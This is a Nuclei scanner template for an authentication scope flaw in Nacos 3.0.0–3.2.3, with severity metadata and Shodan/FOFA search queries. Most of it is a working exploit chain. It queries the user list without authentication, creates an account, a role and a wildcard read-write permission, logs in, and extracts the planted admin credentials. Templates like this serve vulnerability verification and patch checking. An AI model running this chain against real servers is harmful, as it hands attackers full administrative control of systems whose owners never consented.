nacos-v3-auth-scope-bypass: Nacos 3.x - Unauthenticated Admin Takeover

id: nacos-v3-auth-scope-bypass

info:
  name: Nacos 3.x - Unauthenticated Admin Takeover
  author: 0x_Akoko,mhtsec
  severity: critical
  description: |
    Nacos 3.0.0 through 3.2.3 contains an authentication scope misassignment vulnerability. The user, role, and permission management API endpoints (UserControllerV3, RoleControllerV3, PermissionControllerV3) have @Secured annotations missing the apiType attribute, defaulting to OPEN_API scope which is guarded by nacos.core.auth.enabled disabled by default.
  reference:
    - https://github.com/mhtsec/nacos-authscope-poc
    - https://github.com/alibaba/nacos/releases/tag/3.2.4
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-863
  metadata:
    verified: true
    max-request: 5
    vendor: alibaba
    product: nacos
    shodan-query: title:"Nacos"
    fofa-query: title="Nacos"
  tags: nacos,auth-bypass,unauth,takeover,intrusive,critical

variables:
  randuser: "{{rand_text_alpha(8)}}"
  randrole: "{{rand_text_alpha(8)}}"
  randpass: "P{{rand_base(6, 'acfhjnprx')}}Aa1"

flow: http(1) && http(2) && http(3) && http(4) && http(5)

http:
  - raw:
      - |
        GET /nacos/v3/auth/user/list?pageNo=1&pageSize=10 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "\"code\":0")'
          - 'contains(body, "pageItems")'
        condition: and
        internal: true

  - raw:
      - |
        POST /nacos/v3/auth/user HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{randuser}}&password={{randpass}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "create user ok!")'
        condition: and
        internal: true

  - raw:
      - |
        POST /nacos/v3/auth/role HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        role={{randrole}}&username={{randuser}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "add role ok!")'
        condition: and
        internal: true

  - raw:
      - |
        POST /nacos/v3/auth/permission HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        role={{randrole}}&resource=*%3A*&action=rw

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "add permission ok!")'
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 30s
        POST /nacos/v3/auth/user/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{randuser}}&password={{randpass}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "accessToken")'
        condition: and

    extractors:
      - type: dsl
        dsl:
          - '"username:" + randuser + ":password:" + randpass'
# digest: 490a00463044022011645bcf08b545d2c775f66ef5d71d3dfd74eb9746c1e74392c13076d730ff32022007034dec11d7da519c73a41f35ede8ab1c42c3433e9a1ca3147d016bd0fdc8e3:922c64590222798bb761d5b6d8e72950